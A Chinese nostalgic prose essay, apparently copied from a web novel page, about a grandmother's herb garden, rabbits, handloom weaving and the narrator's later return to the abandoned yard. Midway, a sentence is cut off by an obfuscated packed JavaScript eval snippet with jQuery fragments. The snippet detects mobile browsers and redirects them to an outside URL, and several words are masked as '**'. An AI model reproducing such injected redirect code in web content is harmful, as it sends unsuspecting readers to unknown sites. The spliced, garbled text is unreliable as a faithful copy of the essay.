47.柿子树下的布


    狗娃的故乡老屋院子里，有一棵上了柿子树。它的枝干挺直，树皮粗糙如祖父的手掌，却撑起一片巨大的、浓绿如墨的荫凉。每年春天，当料峭的寒意刚刚退去，奶奶的身影便总会出现在那片荫凉下，在紧挨着树根的地方，挥动她那把磨得锃亮的锄头。


    “嚓…嚓…”


    锄头刨开沉睡了一冬的泥土，翻卷出湿润的、深褐色的新土，散发出泥土特有的、带着点腥甜的芬芳。奶奶弓着腰，动作带着一种与年龄不符的韧劲儿，汗水很快浸湿了她鬓角花白的头发，聚成细小的珠子，沿着她饱经风霜的脸颊滑落。她额头上，那几枚深紫近黑的拔火罐印记，在汗水的浸润下，显得格外刺眼，像几片被遗忘在秋天枝头的、倔强的枯叶。


    “奶奶，您歇歇吧！”


    狗娃蹲在一旁，用树枝拨弄着刚翻出来的蚯蚓，看着它们惊慌地扭动身体钻进更深的土里。


    “不累，不累，”


    奶奶直起腰，用袖子抹了把额头的汗，那印记在她粗糙的袖口上短暂地停留了一下，“趁天好，赶紧把地拾掇出来，好种荆芥哩。”


    “荆芥？好吃吗？”


    “香着呢！清火开窍，好东西！”


    奶奶笑着，眼睛里闪着光，仿佛已经看到了那片绿油油的希望。


    种子撒下去，覆盖上一层薄薄的细土。奶奶每天清晨都会去菜地边转转，像守护一个易碎的梦。终于，在某个雨后初晴的早晨，嫩绿的芽尖怯生生地顶破了土皮，带着新生的娇弱，却有着不容忽视的顽强。阳光透过柿子树叶的缝隙，碎金子般洒在这些小生命上，露珠在纤细的叶尖上滚动，折射出七彩的光芒，像极了奶奶珍藏的玻璃弹珠。


    夏日的风是慵懒的，在柿子树的浓荫里打着旋儿，叶子飒飒絮语，筛下片片跳跃的光斑。荆芥苗一天天窜高，叶片舒展开来，边缘带着细微的锯齿。奶奶揪叶子的动作，成了夏日里最清脆的音符。“咔嚓”一声轻响，带着汁液的辛香便迫不及待地弥漫开来，那是一种极具穿透力的气息，清凉中带着辛辣，直冲鼻腔，呛得狗娃忍不住扭过头去，连打好几个喷嚏。


    “哈哈，小孩子，没福气！”


    奶奶乐呵呵地把一捧鲜嫩的荆芥叶丢进盛满清水的瓦盆里漂洗。她转身从藤架上摘下两根顶花带刺的嫩黄瓜，在井台边冲洗干净，放在砧板上，“笃笃笃”地切成薄片，碧绿透亮。接着，她把沥干水的荆芥叶细细切碎，和黄瓜片一起放进粗陶大碗里，撒上细细的盐粒，再淋上几滴自家磨的小磨香油。奶奶粗糙的手指在碗里灵巧地翻拌着，那浓烈奇异的辛香便裹挟着黄瓜的清甜，霸道地钻进狗娃的碗里。


    狗娃捏着筷子，小心翼翼地在那片“危险”的绿色中挑拣着黄瓜片，飞快地塞进嘴里。那脆生生的、带着井水凉意的清甜，是童年的至爱。至于荆芥？狗娃皱着鼻子，避之唯恐不及。


    “小馋猫，不识宝哟，”


    奶奶用筷子尾端轻轻点了点狗娃的鼻尖，自己夹起一大筷子拌着荆芥的黄瓜，满足地送入口中，“荆芥可是好东西，吃了开窍醒脑，能赶走瞌睡虫呢。你奶奶我这头疼的**病，还指着它呢！”


    她额头上那几枚深紫色的印记，在树荫下显得愈发幽深，像古老的符咒，记载着经年累月缠绕她的、无法摆脱的痛楚。那痛楚仿佛是她生命里一道无声的阴影，时时蛰伏，偶尔在某个闷热的午后或寒冷的冬夜，狰狞地苏醒，像一只无形的大手狠狠攫住她的头颅，让她脸色瞬间煞白，眉头紧锁成山川沟壑，牙关紧咬，只能发出压抑的**。每当这时，她会摸索出那个小小的玻璃火罐，点燃一小团棉花，在罐子里晃一下，迅速按在额角或太阳穴上。皮肤被吸起，鼓起一个深紫的圆包，带来短暂的麻木。狗娃看着，心里又害怕又难过，那印记就像是痛苦烙下的勋章。然而，只要那阵撕心裂肺的痛楚稍稍退潮，她便又成了那个不知疲倦的奶奶，在泥土与针线间穿梭，仿佛那噬骨的疼痛从未发生。


    北房的墙根，背风向阳，是奶奶为她的兔子们精心挑选的王国地址。她用捡来的半截青砖和着黄泥，像燕子垒窝般，一砖一泥地垒砌起一个方方正正、结实又温暖的兔窝。里面铺着厚厚一层她收集来的、晒得蓬松干爽的麦秸和柔软的干草，金灿灿的，如同铺开了一片凝固的阳光。狗娃常常放学后书包一丢，就趴在那兔窝的小木栅栏门外，屏住呼吸往里瞧。


    几只雪白的长毛兔，像会动的毛绒雪球，安静地蜷在干草堆里，粉红的三瓣嘴不停地嚅动着，长长的耳朵偶尔抖动一下。它们温顺得不可思议，红宝石般的眼睛在昏暗的窝里闪着光。狗娃伸出手指想摸摸，它们也只是稍稍挪动一下身体，并不惊慌。奶奶喂食时，会抓一把新鲜的野菜或晒干的苜蓿草，轻轻放进窝里，嘴里还念叨着：“吃吧，吃吧，多吃点，长得壮实。”


    “奶奶，兔子会生小宝宝吗？”狗娃仰起脸问。


    “会呀，”


    奶奶笑眯眯地，眼角的皱纹舒展开，“兔子妈妈快生的时候，会自己拔胸前的**做窝呢。”


    “那它不疼吗？”


    “疼啊，可为了小兔子暖和，当娘的都这样。”


    奶奶的语气里带着一种温柔的笃定。


    有一年初冬，天气骤然变冷，寒风打着呼哨穿过院子。那只最肥硕的母兔，胸前的**明显稀疏了，它显得焦躁不安。奶奶看在眼里，从她的旧木箱里翻出一件早已穿不下的、洗得发白的旧棉袄。她坐在小马扎上，就着昏黄的灯光，用一把小剪刀，极其耐心地、一点点地把棉袄里子拆开，掏出里面已经板结发黄的棉花。然后，她用那双布满老茧、关节粗大的手，细细地、一遍遍地揉搓那些棉花块，直到它们重新变得蓬松柔软，像一朵朵洁白的云。


    第二天，趁母兔吃食的空档，奶奶小心翼翼地打开兔窝的小门，轻柔而迅速地将那些蓬松的白云絮进干草堆的最深处，在角落里絮成一个温暖、厚实、散发着陈旧棉花气息的软巢。


    “天凉了，兔妈妈要生娃娃，得暖和些，不能冻着。”


    她轻声对着窝里的兔子说，仿佛它能听懂。她布满细茧的手掌，隔着栅栏，温柔地抚过母兔的脊背，那动作如此轻柔，带着一种近乎虔诚的怜惜，如同在抚慰自己一生未曾言说的辛劳与孤寂。母兔似乎感受到了这份暖意，安静地趴在新絮的棉絮上，红眼睛望着奶奶。


    小兔子出生在几天后一个寒冷的黎明。奶奶天不亮就披衣起来，轻手轻脚地走到兔窝边，屏息凝神地听着里面的动静。当听到极其细微的、像刚出生的小老鼠般的嘤咛声时，她的眼睛亮了起来。她小心翼翼地掀起一点点遮挡的草帘，借着微弱的天光往里瞧。几只粉红色、光溜溜、紧闭着眼睛的小肉团，正依偎在母兔温暖的肚皮底下，本能地寻找着**。奶奶脸上的皱纹都舒展开了，漾起一种难以言喻的满足和专注，她甚至忘了寒冷，就那么半跪在冰冷的泥地上，久久地、一动不动地看着，神情庄重得像在守护着世间最易碎也最珍贵的珍宝。那眼神里流淌的，是生命与生命之间最原始、最朴素的契约与温柔。那一刻，冰冷的北墙根下，兔子窝里蓬松的棉絮，成了狗娃记忆中关于“家”和“守护”最温暖的具象。


    如果说荆芥菜地和兔子窝是充满生趣的乐园，那么南房，则更像一个藏着时光秘密的圣殿。这间平时堆放农具杂物的屋子，农闲时节便会焕发出别样的生机。它的主角，是奶奶那架巨大的、用深色硬木制成的老式织布机。


    织布机静静地立在墙角，覆盖着一块洗得发白的旧蓝布，像一头收敛了爪牙、陷入沉睡的巨兽。当最后一粒粮食归仓，秋风染黄了柿子树梢，奶奶便会郑重地揭去那块蓝布。掸去积尘，给机轴、踏板、梭子等关键部位仔细地上一遍桐油。木料吸足了油，显露出温润深沉的色泽和细腻的纹理，散发出一种古老而沉静的气息。


    奶奶坐在织布机前的矮凳上，腰背习惯性地挺得很直。她先要“经布”———把一束束纺好的棉线，按照严格的数量和顺序，缠绕在巨大的经轴上。这是一个极其繁琐又需要绝对耐心的过程。她常常叫狗娃帮忙，把线团递给她，或者在她牵引长长的经线穿过复杂的“筘”（梳子一样的工具）时，帮她稳住线头。棉线细而韧，稍不留神就会缠绕打结。奶奶的手指却异常灵巧，在密集的线丛中穿梭自如，像鱼儿游弋在水草间。阳光从南房唯一的小木窗斜照进来，照亮空气中飞舞的无数细小尘埃，也照亮了棉线被拉直时泛起的柔和光晕。无数根洁白的经线被绷紧、排列整齐，像一片等待被书写的心事。


    “嘎达———嘎达———”


    当奶奶的双脚有节奏地踩动踏板，双手配合着推动沉重的“杼”（控制经线上下分层的装置），梭子便像被赋予了生命，在她手中灵巧地牵引着纬线，在上下交错的经线间飞快地左右穿行。那声音坚实、沉稳、悠长，带着一种不容置疑的力量感，一下，又一下，敲打着南房略显空旷的四壁，也敲打在时间的鼓面上。它不像现代机器的轰鸣，更像一种来自大地深处的古老歌谣，是岁月深沉的脚步声。奶奶的眼神专注得惊人，所有的疲惫和生活的琐碎仿佛都被这单调而宏大的节奏涤荡干净。她全身心地沉浸在经纬交错的世界里，手脚配合着一种传承了千百年的、繁复而精确的韵律。梭子像一条不知疲倦的银鱼，在棉线的河流里欢快地游弋，把一缕缕洁白的纬线编织进去，一片密实的、带着手作温度的布匹之河，便在她手下缓缓延伸开来。


    织布机在里面“嘎达嘎达”，纺线车则常常被搬到院子里有阳光的地方。那是另一项重要的准备工作———把蓬松的棉花条纺成结实的棉线。奶奶坐在小板凳上，一手摇动纺车的大轮，一手捏着棉条，细细的棉线便源源不断地从她指尖流出，缠绕在飞速旋转的锭子上。纺车发出“吱扭———吱扭———”的响声，节奏舒缓，像一首古老的摇篮曲，与屋里织布机的“嘎达嘎达”遥相呼应。


    有时，那“吱扭”声会变得滞涩、拖沓，甚至带着点不情愿的**。


    “嗯？”


    奶奶会停下摇动的手，侧耳仔细听一听，然后了然地点点头，笑着说：“听见没？机子在喊‘渴’了，该给它喂点油‘喝喝’啦。”


    她放下棉条，起身从窗台上拿起那个小小的、油腻腻的油壶。揭开盖子，对着纺车轴心、锭子根部等几个关键部位，小心地滴上几滴清亮的菜籽油。油珠渗入干燥的木轴和铁件，发出轻微的“滋滋”声。她再用手轻轻转动几下轮子。


    果然，再摇起来时，那疲惫的**消失了，“吱扭”声变得顺滑流畅，甚至带着点欢快。每一次油滴落下，仿佛都瞬间抚平了时光在机器关节上磨出的褶皱，让那首古老的歌谣重新流畅地唱了起来，与院里的蝉鸣、风声交织在一起。狗娃常常蹲在旁边，看着奶奶专注的侧脸，听着这奇妙的声音变化，觉得奶奶简直像个能听懂器物语言的魔法师。


    织布机在奶奶手下不知疲倦地吟唱着，日复一日。那匹布在经轴上缓缓转动，越来越厚实，越来越长。当最后一根纬线被奶奶郑重地、带着某种仪式感地织入布匹，梭子最后一次穿过经线，“咔嗒”一声停在布边时，南房里的“嘎达嘎达”声骤然停止。一种奇异的寂静笼罩下来。


    奶奶长长地舒了一口气，脸上带着完成一件伟大作品的疲惫与满足。她站起身，活动着僵硬的腰背，小心翼翼地松开经轴，将整匹布取下来。它沉甸甸的，带着阳光晒透棉花的暖意，带着奶奶手掌的温度，也带着无数个日夜的专注与期盼。它像一片凝固的乳白色月光，带着独特的手作纹理和岁月的温润质感，静静地垂落在奶奶的臂弯里。


    但这还不是终点。新织好的布匹还带着织造过程中的紧绷和细微的卷曲，需要“抻布”来使它平整舒展。这时节，老姨（奶奶的妹妹）总会应约而来。两个年过半百的老姐妹，便在院子里最平整干净的地方，开始她们的合作。


    一人执布头，一人执布尾。她们相视一笑，默契地点点头，然后同时用力，手臂向后伸展，腰身下沉，像拉满一张巨大的弓。那匹布便在午后的风里被绷得笔直，微微地、充满弹性地飘荡起来，仿佛被注入了生命。阳光慷慨地洒下，金色的光线穿透布匹细密的经纬，也穿透奶奶和老姨额前散落的、被汗水濡湿的银丝。空气里浮动着棉布被阳光蒸腾出的、朴素而洁净的暖香，混合着阳光和泥土的气息。


    “一、二、用力！”老姨喊着号子。


    “哎———嗨！”奶奶应和着，脸上因为用力而泛红。


    她们一边喊着号子，一边用力向后抻拉，额角渗出细密的汗珠，在暮色渐浓的空气里闪着微光。布匹被绷得紧紧的，每一丝褶皱都在阳光的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16398145|183542||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    曝晒和她们全力的拉扯下驯服、平展、消失。拉抻一阵，放下，换个角度，再拉抻。奶奶的手指一遍遍抚过那细密、略显粗糙的纹理，动作轻柔而珍视，如同在抚平自己生命长河里那些被辛劳和岁月刻下的、无形的褶皱。这匹在她手中诞生的布，已不仅是一件御寒蔽体的织物，而是她无言的诉说，是她生命光阴一寸寸、一线线亲手织就的、最朴素的证明。布匹上的每一道经纬，都浸染着她的汗水、她的专注、她对家人的深情。


    布匹抻好、晾干，变得挺括平整。分布的日子到了。奶奶会把布叠得整整齐齐，方方正正，像一块块巨大的豆腐。她盘腿坐在炕上，面前铺开好几块大小不一的布。她拿起一块，用手指捻着厚度，摩挲着质感，口中念念有词，像是在进行一场庄重的分配仪式：


    “这块大的，给你大伯。他家人口多，两个半大小子，费布哩，得宽裕些。”


    放下这块，又拿起另一块稍厚实的：“这块给四叔。他人壮实，干活多，厚实点耐磨。”


    再拿起一块颜色明显深一些的：“五叔那块，颜色深，扛脏。他跑运输，常在外头滚，耐脏的好。”


    最后，她拿起一块看起来格外柔软的，叠得格外仔细：“这块给你姑姑。料子软和，亲肤。她家娃娃小，贴身穿这个好，不磨皮。”


    她摩挲着布匹，如同点数着对每一个子女、每一个孙辈绵延不绝的、沉甸甸的心意。那些布匹，带着南房冬日阳光的暖意，带着织布机“嘎达嘎达”的余韵，带着奶奶手指的温度，被送往不同的院落。奶奶总是站在门口，目送着取布的人远去，目光悠长，仿佛那经纬里织进去的，不只是洁白的棉线，还有她日日夜夜的操劳，有她无法言说的牵挂与祝福，随着布匹，一起覆盖在亲人们的身上。她额角上拔火罐留下的深紫色印记，在黄昏柔和的光线下颜色显得更深了，像是岁月在她生命这块厚朴坚韧的土布上，用时光与牵挂重重盖下的、无法磨灭的邮戳。


    时光如同奶奶手中穿梭不息的梭子，未曾停歇。后来，狗娃像一只羽翼渐丰的鸟，离开了老屋，离开了柿子树荫，离开了“嘎达嘎达”的声响，飞向了更远的地方。故乡的消息，大多通过父母的书信传来。信里偶尔会提到：奶奶身体不如从前硬朗了；南房的织布机，响动得少了；兔子早就不养了，窝也塌了半边……


    南房织布机的声音，如同秋日草丛里最后的虫鸣，一年年地稀疏下去，间隔越来越长，声音也似乎越来越吃力，最终，在某一年某个未曾言明的日子，彻底沉寂了。像一首唱到尾声的老歌，最后一个音符消散在空气里，再也没有响起。奶奶的头发，也如同被深秋寒霜彻底覆盖的荆芥梗，尽数染上了无暇的雪白。她额头上那些深紫的拔火罐印记，随着年岁的增长和病痛的转移，颜色渐渐淡去，最终只留下几处模糊的、浅褐色的旧影，如同被岁月流水冲刷殆尽的古老刻痕。


    去年深冬，狗娃处理完手头的工作，终于踏上了回乡的路。推开那扇熟悉的、油漆斑驳的院门，一股混合着萧索与陈旧的气息扑面而来。院子里静悄悄的。那棵承载了无数童年记忆的老柿子树，枝干嶙峋倔强地伸向铅灰色的、低沉的天空，宛如凝固的墨痕，上面没有一片叶子，只有几颗干瘪发黑的柿子孤零零地挂着，像被遗忘的句点。北房墙根下，兔子窝的轮廓早已模糊难辨，坍塌的砖石半掩在枯黄的荒草和厚厚的积雪之下，被荒草温柔而固执地覆盖着，像一个被时光深埋的、小小的、温暖的旧梦，只剩下一个依稀的土堆。


    南房的门虚掩着，门轴发出干涩喑哑的“吱呀”声，在寂静的院子里显得格外刺耳。狗娃深吸一口气，轻轻推开。一股浓重的、带着腐朽木头和尘土的味道涌了出来。一道微弱的光束从门隙挤入，照亮了空气中无数飞舞的、细小的尘埃，它们无声地翻滚、升腾，像无数失落的、无处安放的时光碎片，在光柱里上演着一场静默的舞蹈。


    眼睛适应了昏暗的光线，那架老织布机便映入眼帘。它默然伫立在房间最深的阴影里，像一个被遗忘的巨人。曾经温润的木色被厚厚的、均匀的尘灰覆盖，变得灰暗而毫无生气。蜘蛛在它的角落和横梁间织起了精巧而破败的网。它庞大的身躯静默着，如同那头传说中沉睡了千年的巨兽，收敛了所有的力量与歌喉。它不再“嘎达嘎达”地歌唱，不再诉说光阴的故事，只有一片无边无际的、沉重的寂静，仿佛连空气都凝固了。这寂静，比任何声音都更能诉说流逝。


    狗娃慢慢走近，脚下扬起细微的尘土。指尖犹豫了一下，轻轻抚上那冰冷、落满尘埃的木梁。触感粗糙而冰凉，厚厚的灰尘像一层细腻的、了无生气的绒布，覆盖着往昔的温度和声响。这尘埃，分明是时光落下的灰烬，是无数个忙碌日子沉寂后的余烬。狗娃仿佛还能看到奶奶挺直的背影，听到那规律的“嘎达”声，感受到梭子飞行的轨迹，但此刻，一切都归于冰冷的死寂。一种巨大的、难以言喻的空落感，瞬间攫住了狗娃的心。


    狗娃悄然退出来，轻轻带上那扇沉重的门，仿佛怕惊扰了谁的安眠。独自站在空旷的院子里，寒风掠过枯枝，发出呜咽般的低鸣。不知何时，细碎的雪花开始无声无息地飘落，起初稀疏，渐渐稠密。它们轻柔地、执着地覆盖着青灰色的屋瓦，覆盖着冰冷坚硬的地面，也覆盖着记忆中那片曾铺满夏日阳光、摇曳着辛香荆芥的菜地旧址。雪，无声无息地落在南房低矮的门楣上，落在静默的织布机顶棚上，也落在狗娃凝望的眼眸里和空旷的心上，无声地堆积起一层又一层无法融化的、冰凉的白。


    织布机在尘埃与蛛网中彻底缄默，仿佛已永久遗忘了歌喉。然而，这沉重的静默并非终结的休止符。它更像是沉入大地深处的、悠长的余韵，是时光长河在某个拐弯处形成的深邃回响。它在无声处，在落满灰尘的每一道木纹里，在冰冷僵硬的每一根经线上，依旧紧紧缠裹着奶奶掌心曾留下的、永不消散的温热。这份温热，连同那荆芥的辛香、新布的暖意、兔窝里的蓬松棉絮，都静静蛰伏着，被这一场深冬的大雪温柔而彻底地深深埋藏。它们等待着，在某个未知的春天，被另一缕阳光，或者，被另一颗在岁月中忽然领悟了思念与传承的心，轻轻唤醒。雪，依旧无声地落着，覆盖着过去，也覆盖着通往未来的路，天地间一片苍茫的寂静。